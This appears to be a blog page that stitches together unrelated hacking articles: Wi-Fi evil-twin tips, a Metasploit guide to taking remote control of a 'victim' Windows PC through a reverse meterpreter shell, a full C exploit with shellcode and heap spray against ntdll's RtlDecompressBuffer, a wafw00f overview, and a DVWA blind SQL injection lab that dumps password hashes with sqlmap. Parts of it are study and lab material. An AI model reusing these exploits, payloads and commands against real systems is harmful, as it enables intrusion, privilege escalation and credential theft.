C. Eric Hollis

Tuesday, April 14, 2020

How tO Secure Yourself From Evil Twin Attack

How To Secure Yourself From Evil Twin Attack ?

Hello, in this article you are going to learn how to secure yourself from getting hacked using evil twin attack.

1) Do not connect to any public networks, anyone can sniff your data while you are on a public network.Evil Twin attack will be performed as a public network, so wherever possible restrict connecting to any open or public networks mainly if it wifi name is same as your wifi name

2) When your internet connection suddenly stops working, you might be under DOS attack using evil twin attack, just restart the router and the hacker need to restart the attack and as it takes some time. Maybe they leave it or continue some other time

3) Running a VPN to ensure that any browsing and transmitted data is done through an encrypted tunnel that cannot be easily snooped.

4) Do not always rely on the name of the network, make sure it is a legitimate and trusted network or not.

Thank You for Reading, Hope It's Useful

@£V£RYTHING NT

HOW TO HACK A PC REMOTELY WITH METASPLOIT?

Metasploit is an advanced hacking tool that comes itself with a complete lack of advanced penetration testing tools. Penetration testers and hackers are taking so much advantage of this tool. It's a complete hack pack for a hacker that he can play almost any attack with it. I am not covering attacks in this article but I am going to share about how to hack a PC remotely with Metasploit. It's not so complicated if you pay attention to. It just needs a better understanding of each step you're performing. Let's move on how to do it.

SO, HOW TO HACK A PC REMOTELY WITH METASPLOIT?

REQUIREMENTS

Before getting started, make sure you have all the following things required to hack a PC remotely with Metasploit.

Linux Machine (Kali Linux or BackTrack 5)
Metasploit (Built in the mentioned Linux OS)
Windows PC victim

STEPS TO FOLLOW

Let's move on how to perform the complete attack.

Start your Linux OS and open up Nmap and run a scan for your victim remote server. Like we have our victim on remote server 192.168.42.129. It will show up the range of all open ports of the victim machine as you can see below.
We can see the open port here is 135. So, now we go to Metasploit and try to exploit and gain access to it. To open up, navigate to Application > BackTrack > Exploitation Tools > Network Exploitation Tools > Metasploit Framework > msfconsole.
After the initialization of msfconsole, standard checks, we will see the window like below.
Now, as we already know that our port 135 is open so, we search for a related RPC exploit in Metasploit. You can check out all the exploit list supported by Metasploit by using command 'show exploits'.
Now to activate an exploit, type the "use " with the exploit name like "use exploit/windows/dcerpc/ms03_026_dcom".
As we're in our required exploit environment, we need to configure the exploit according to our scenario. To check out the list of all the available options of an exploit, we can use command "show options". As we already know about the open port RPORT is 135. So, we just need to set our RHOST which we can set simply using the "set RHOST" command. Just type "set RHOST 192.168.42.129" and it's done.
Now before we launch the exploit is setting the payload for the exploit. We can view all the available payloads using the "show payloads" command.
Every payload can be used for a different scenario. In our case, we are using the reverse TCP meterpreter which can be set using the command, "set PAYLOAD windows/meterpreter/reverse_tcp" for remote shell and then use "show options" command to view the options for it.
Here we notice LHOST for out payload is not set, so we set it out to our Public IP i.e. 192.168.42.128 using the command "set LHOST 192.168.42.128".
Now exploit is configured and ready to launch. Now simply use "exploit" command to launch the attack. If exploit is executed successfully, we will see the message like below.
Now that a reverse connection has been set up between the victim and our machine, we have complete control of the server. To find out all the commands to play with the victim machine, we can use the "help".

We have successfully gained access to a remote PC with Metasploit. That's all how to hack a PC remotely with Metasploit. Hope it will work for you.

Related links

Hackable - Secret Hacker | Vulnerable Web Application Server

RtlDecompresBuffer Vulnerability

Introduction

The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.

The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.

The algorithms callback table

Notice the five nops at the end probably for adding new algorithms in the future.

The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]

The bounrady checks

We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:

int  RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6)
{
  int result; // eax@4

  if ( algorithm & algorithm != 1 )
  {
    if ( algorithm & 0xF0 )
      result = -1073741217;
    else
      result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6);
  }
  else
  {
    result = -1073741811;
  }
  return result;
}

Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.

let's check the disassembly on Win7 32bits:

the movzx limits the boundaries to 16bits
the test ax, ax avoids the algorithm 0
the cmp ax, 1 avoids the algorithm 1
the test al, 0F0h limits the boundary .. wait .. al?

Let's calc the max two bytes number that bypass the test al, F0h

unsigned int max(void) {
__asm__("xorl %eax, %eax");
__asm__("movb $0xff, %ah");
__asm__("movb $0xf0, %al");
}

int main(void) {
printf("max: %u\n", max());
}

The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9?

So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.

Proof of concept

This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.

The result on WinXP:

The result on Win7 32bits:

And the exploit code:

/*
    ntdll!RtlDecompressBuffer() vtable exploit + heap spray
    by @sha0coder

*/

#include 
#include 
#include 

#define KB  1024
#define MB  1024*KB
#define BLK_SZ 4096
#define ALLOC 200
#define MAGIC_DECOMPRESSION_AGORITHM 9

// WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php
/*
unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93"
"\xBF\x77\xFF\xD2\xCC"
"\xE8\xF3\xFF\xFF\xFF"
"\x63\x61\x6C\x63";
*/

// https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html
char *shellcode =
       "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
       "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
       "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
       "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
       "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
       "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
       "\x45\x81\x3e\x43\x72\x65\x61\x75"
       "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
       "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
       "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
       "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
       "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
       "\x6c\x63\x89\xe2\x52\x52\x53\x53"
       "\x53\x53\x53\x53\x52\x53\xff\xd7";


PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits

void fail(const char *msg) {
  printf("%s\n\n", msg);
  exit(1);
}

PUCHAR spray(HANDLE heap) {
  PUCHAR map = 0;

  printf("Spraying ...\n");
  printf("Aproximating to %p\n", landing_ptr);

  while (map < landing_ptr-1*MB) {
    map = HeapAlloc(heap, 0, 1*MB);
  }

  //map = HeapAlloc(heap, 0, 1*MB);

  printf("Aproximated to [%x - %x]\n", map, map+1*MB);


  printf("Landing adddr: %x\n", landing_ptr);
  printf("Offset of landing adddr: %d\n", landing_ptr-map);

  return map;
}

void landing_sigtrap(int num_of_traps) {
  memset(landing_ptr, 0xcc, num_of_traps);
}

void copy_shellcode(void) {
  memcpy(landing_ptr, shellcode, strlen(shellcode));

}

int main(int argc, char **argv) {
  FARPROC RtlDecompressBuffer;
  NTSTATUS ntStat;
  HANDLE heap;
  PUCHAR compressed, uncompressed;
  ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;

  RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");

  heap = GetProcessHeap();

  compressed_sz = estimated_uncompressed_sz = 1*KB;

  compressed = HeapAlloc(heap, 0, compressed_sz);

  uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz);


  spray(heap);
  copy_shellcode();
  //landing_sigtrap(1*KB);
  printf("Landing ...\n");

  ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);

  switch(ntStat) {
    case STATUS_SUCCESS:
      printf("decompression Ok!\n");
      break;

    case STATUS_INVALID_PARAMETER:
      printf("bad compression parameter\n");
      break;


    case STATUS_UNSUPPORTED_COMPRESSION:
      printf("unsuported compression\n");
      break;

    case STATUS_BAD_COMPRESSION_BUFFER:
      printf("Need more uncompressed buffer\n");
      break;

    default:
      printf("weird decompression state\n");
      break;
  }

  printf("end.\n");
}

The attack vector


This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7

More articles

Wafw00F: The Web Application Firewall Fingerprinting Tool

How does wafw00f work?
To do its magic, WAFW00F does the following steps:

Sends a normal HTTP request and analyses the response; this identifies a number of WAF solutions.

If that is not successful, wafw00f sends a number of (potentially malicious) HTTP requests and uses simple logic to deduce which WAF it is.

If that is also not successful, wafw00f analyses the responses previously returned and uses another simple algorithm to guess if a WAF or security solution is actively responding to wafw00f's attacks.

For further details, check out the source code on EnableSecurity's main repository.

What does it detect? WAFW00F can detect a number of firewalls, a list of which is as below:

wafw00f's installation
If you're using Debian-based distro, enter this commands to install wafw00f: sudo apt update && sudo apt install wafw00f

But if you're using another Linux distro, enter these commands to install wafw00f:

How to use wafw00f?
The basic usage is to pass an URL as an argument. Example:

Final Words to you
Questions? Pull up an issue on GitHub Issue Tracker or contact to EnableSecurity.
Pull requests, ideas and issues are highly welcome. If you wish to see how WAFW00F is being developed, check out the development board.

Some useful links:

Documentation/Wiki

Pypi Package Repository

Presently being developed and maintained by:

Sandro Gauci (@SandroGauci)

Pinaki Mondal (@0xInfection)

Download wafw00f

Related links

Black Hat Python Free PDF

More information

Learning Web Pentesting With DVWA Part 3: Blind SQL Injection

In this article we are going to do the SQL Injection (Blind) challenge of DVWA.
OWASP describes Blind SQL Injection as:
"Blind SQL (Structured Query Language) injection is a type of attack that asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.

When an attacker exploits SQL injection, sometimes the web application displays error messages from the database complaining that the SQL Query's syntax is incorrect. Blind SQL injection is nearly identical to normal , the only difference being the way the data is retrieved from the database. When the database does not output data to the web page, an attacker is forced to steal data by asking the database a series of true or false questions. This makes exploiting the SQL Injection vulnerability more difficult, but not impossible."

To follow along click on the SQL Injection (Blind) navigation link. You will be presented with a page like this:

Lets first try to enter a valid User ID to see what the response looks like. Enter 1 in the User ID field and click submit. The result should look like this:

Lets call this response as valid response for the ease of reference in the rest of the article. Now lets try to enter an invalid ID to see what the response for that would be. Enter something like 1337 the response would be like this:

We will call this invalid response. Since we know both the valid and invalid response, lets try to attack the app now. We will again start with a single quote (') and see the response. The response we got back is the one which we saw when we entered the wrong User ID. This indicates that our query is either invalid or incomplete. Lets try to add an or statement to our query like this:

' or 1=1-- -

This returns a valid response. Which means our query is complete and executes without errors. Lets try to figure out the size of the query output columns like we did with the sql injection before in Learning Web Pentesting With DVWA Part 2: SQL Injection.
Enter the following in the User ID field:

' or 1=1 order by 1-- -

Again we get a valid response lets increase the number to 2.

' or 1=1 order by 2-- -

We get a valid response again lets go for 3.

' or 1=1 order by 3-- -

We get an invalid response so that confirms the size of query columns (number of columns queried by the server SQL statement) is 2.
Lets try to get some data using the blind sql injection, starting by trying to figure out the version of dbms used by the server like this:

1' and substring(version(), 1,1) = 1-- -

Since we don't see any output we have to extract data character by character. Here we are trying to guess the first character of the string returned by version() function which in my case is 1. You'll notice the output returns a valid response when we enter the query above in the input field.
Lets examine the query a bit to further understand what we are trying to accomplish. We know 1 is the valid user id and it returns a valid response, we append it to the query. Following 1, we use a single quote to end the check string. After the single quote we start to build our own query with the and conditional statement which states that the answer is true if and only if both conditions are true. Since the user id 1 exists we know the first condition of the statement is true. In the second condition, we extract first character from the version() function using the substring() function and compare it with the value of 1 and then comment out the rest of server query. Since first condition is true, if the second condition is true as well we will get a valid response back otherwise we will get an invalid response. Since my the version of mariadb installed by the docker container starts with a 1 we will get a valid response. Lets see if we will get an invalid response if we compare the first character of the string returned by the version() function to 2 like this:

1' and substring(version(),1,1) = 2-- -

And we get the invalid response. To determine the second character of the string returned by the version() function, we will write our query like this:
1' and substring(version(),2,2) = 1-- -
We get invalid response. Changing 1 to 2 then 3 and so on we get invalid response back, then we try 0 and we get a valid response back indicating the second character in the string returned by the version() function is 0. Thus we have got so for 10 as the first two characters of the database version. We can try to get the third and fourth characters of the string but as you can guess it will be time consuming. So its time to automate the boring stuff. We can automate this process in two ways. One is to use our awesome programming skills to write a program that will automate this whole thing. Another way is not to reinvent the wheel and try sqlmap. I am going to show you how to use sqlmap but you can try the first method as well, as an exercise.
Lets use sqlmap to get data from the database. Enter 1 in the User ID field and click submit.
Then copy the URL from the URL bar which should look something like this
http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit
Now open a terminal and type this command:

sqlmap --version

this will print the version of your sqlmap installation otherwise it will give an error indicating the package is not installed on your computer. If its not installed then go ahead and install it.
Now type the following command to get the names of the databases:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id

Here replace the PHPSESSID with your session id which you can get by right clicking on the page and then clicking inspect in your browser (Firefox here). Then click on storage tab and expand cookie to get your PHPSESSID. Also your port for dvwa web app can be different so replace the URL with yours.
The command above uses -u to specify the url to be attacked, --cookie flag specifies the user authentication cookies, and -p is used to specify the parameter of the URL that we are going to attack.
We will now dump the tables of dvwa database using sqlmap like this:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa --tables

After getting the list of tables its time to dump the columns of users table like this:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa -T users --columns

And at last we will dump the passwords column of the users table like this:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa -T users -C password --dump

Now you can see the password hashes.
As you can see automating this blind sqli using sqlmap made it simple. It would have taken us a lot of time to do this stuff manually. That's why in pentests both manual and automated testing is necessary. But its not a good idea to rely on just one of the two rather we should leverage power of both testing types to both understand and exploit the vulnerability.
By the way we could have used something like this to dump all databases and tables using this sqlmap command:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id --dump-all

But obviously it is time and resource consuming so we only extracted what was interested to us rather than dumping all the stuff.
Also we could have used sqlmap in the simple sql injection that we did in the previous article. As an exercise redo the SQL Injection challenge using sqlmap.

References:

1. Blind SQL Injection: https://owasp.org/www-community/attacks/Blind_SQL_Injection
2. sqlmap: http://sqlmap.org/
3. MySQL SUBSTRING() Function: https://www.w3schools.com/sql/func_mysql_substring.asp

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